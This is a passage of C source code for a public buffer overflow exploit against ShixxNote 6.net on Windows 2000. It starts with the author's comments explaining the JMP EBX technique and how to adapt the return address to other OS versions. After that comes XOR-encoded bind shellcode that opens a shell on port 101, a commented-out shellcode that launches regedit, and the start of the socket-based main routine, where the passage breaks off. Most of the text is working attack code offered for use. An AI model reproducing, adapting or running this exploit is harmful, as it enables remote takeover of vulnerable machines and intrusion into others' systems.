/*
ShixxNote 6.net buffer overflow exploit v0.1
Public exploit overflows only Win2K systems, else crashs.
Exploit code by class101 [at] DFind.kd-team.com
Bind a shellcode to the port 101.
Thanx to Luigi Auriemma(aluigi@altervista.org) for the bug discovery
Thanx to HDMoore and Metasploit.com for their kickass ASM work.
Why Win2k only?
After some days of debugging on it , I finally figured out how to exploit this
hole, this public overflow method works only on Win2k, using the
JMP EBX from comdlg32.dll from Win2k SP4 english.
Because on WinXP , the register EBX points to a NULL address, this is not exploitable
even if you update the JMP EBX, not exploitable VIA THIS WAY on XP I mean OK!.
How do I did then on Win2k?
I overwritte EIP with a JMP EBX, EBX is a perfect register because it points directly
to my buffer, but problem, it points 4 bytes only before EIP, quite short...
But enough to say him to jump ~80 bytes higher.
Now i have enough space to adjust my shellcode to ESI and to finally jump to it...
That's why on WinXP (and maybe others , havent tested) this doesnt works because EBX isnt
available.
Not happy? code yours or get a pvt version ;p
How do I update to Win2k SP1 Dutch for example ?
Grab a JMP EBX address in comdlg32.dll from this OS and update the code.
Take a look at www.KD-Team.com, really nice peaces of code to find. Good job DiabloHorn ;)
Take a look at www.GovernmentSecurity.org, good public place if you ignore all lame threads ^^ and all
retarded, without to name them to not add credits to their stupidity....
Greets cp, and sorry jester ....
*/
#include "winsock2.h"
#include "fstream.h"
#pragma comment(lib, "ws2_32")
//BIND shellcode port 101, XORed 0x88, thanx HDMoore.
char scode[] =
"\xEB"
"\x0F\x58\x80\x30\x88\x40\x81\x38\x68\x61\x63\x6B\x75\xF4\xEB\x05\xE8\xEC\xFF\xFF"
"\xFF\x60\xDE\x88\x88\x88\xDB\xDD\xDE\xDF\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D"
"\xF0\x89\x62\x03\xC2\x90\x03\xD2\xA8\x89\x63\x6B\xBA\xC1\x03\xBC\x03\x89\x66\xB9"
"\x77\x74\xB9\x48\x24\xB0\x68\xFC\x8F\x49\x47\x85\x89\x4F\x63\x7A\xB3\xF4\xAC\x9C"
"\xFD\x69\x03\xD2\xAC\x89\x63\xEE\x03\x84\xC3\x03\xD2\x94\x89\x63\x03\x8C\x03\x89"
"\x60\x63\x8A\xB9\x48\xD7\xD6\xD5\xD3\x4A\x80\x88\xD6\xE2\xB8\xD1\xEC\x03\x91\x03"
"\xD3\x84\x03\xD3\x94\x03\x93\x03\xD3\x80\xDB\xE0\x06\xC6\x86\x64\x77\x5E\x01\x4F"
"\x09\x64\x88\x89\x88\x88\xDF\xDE\xDB\x01\x6D\x60\xAF\x88\x88\x88\x18\x89\x88\x88"
"\x3E\x91\x90\x6F\x2C\x91\xF8\x61\x6D\xC1\x0E\xC1\x2C\x92\xF8\x4F\x2C\x25\xA6\x61"
"\x51\x81\x7D\x25\x43\x65\x74\xB3\xDF\xDB\xBA\xD7\xBB\xBA\x88\xD3\x05\xC3\xA8\xD9"
"\x77\x5F\x01\x57\x01\x4B\x05\xFD\x9C\xE2\x8F\xD1\xD9\xDB\x77\xBC\x07\x77\xDD\x8C"
"\xD1\x01\x8C\x06\x6A\x7A\xA3\xAF\xDC\x77\xBF\x77\xDD\xB8\xB9\x48\xD8\xD8\xD8\xD8"
"\xC8\xD8\xC8\xD8\x77\xDD\xA4\x01\x4F\xB9\x53\xDB\xDB\xE0\x8A\x88\x88\xED\x01\x68"
"\xE2\x98\xD8\xDF\x77\xDD\xAC\xDB\xDF\x77\xDD\xA0\xDB\xDC\xDF\x77\xDD\xA8\x01\x4F"
"\xE0\xCB\xC5\xCC\x88\x01\x6B\x0F\x72\xB9\x48\x05\xF4\xAC\x24\xE2\x9D\xD1\x7B\x23"
"\x0F\x72\x09\x64\xDC\x88\x88\x88\x4E\xCC\xAC\x98\xCC\xEE\x4F\xCC\xAC\xB4\x89\x89"
"\x01\xF4\xAC\xC0\x01\xF4\xAC\xC4\x01\xF4\xAC\xD8\x05\xCC\xAC\x98\xDC\xD8\xD9\xD9"
"\xD9\xC9\xD9\xC1\xD9\xD9\xDB\xD9\x77\xFD\x88\xE0\xFA\x76\x3B\x9E\x77\xDD\x8C\x77"
"\x58\x01\x6E\x77\xFD\x88\xE0\x25\x51\x8D\x46\x77\xDD\x8C\x01\x4B\xE0\x77\x77\x77"
"\x77\x77\xBE\x77\x5B\x77\xFD\x88\xE0\xF6\x50\x6A\xFB\x77\xDD\x8C\xB9\x53\xDB\x77"
"\x58\x68\x61\x63\x6B\x90";
/*
//Execute regedit.exe, XORed 0x88, hardcoded Win2k SP4 English
char scode2[] = "\xEB"
"\x0F\x58\x80\x30\x88\x40\x81\x38\x68\x61\x63\x6B\x75\xF4\xEB\x05\xE8\xEC\xFF\xFF"
"\xFF\xDD\x01\x6D\x09\x64\xC4\x88\x88\x88\xDB\x05\xF5\x3C\x4E\xCD\x7C\xFA\x4E\xCD"
"\x7D\xED\x4E\xCD\x7E\xEF\x4E\xCD\x7F\xED\x4E\xCD\x70\xEC\x4E\xCD\x71\xE1\x4E\xCD"
"\x72\xFC\x4E\xCD\x73\xA6\x4E\xCD\x74\xED\x4E\xCD\x75\xF0\x4E\xCD\x76\xED\x4E\xCD"
"\x77\x88\xE0\x8D\x88\x88\x88\x05\xCD\x7C\xD8\x30\xB7\xC8\xD0\xF4\x77\x58\xE0\x89"
"\x88\x88\x88\x30\xF5\x86\xD0\xF4\x77\x58\x68\x61\x63\x6B\x90";
*/
static char payload[5000];
char jmpebxw2k[]="\x79\x3c\xb6\x76"; //JMP EBX - comdlg32.dll - Win2k SP4 English
void usage(char* us);
WSADATA wsadata;
void ver();
int main(int argc,char *argv[])
{
ver();
if ((argc<2)||(argc>3)){usage(argv[0]);return -1;}
if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){cout<<"[+] wsastartup error: "<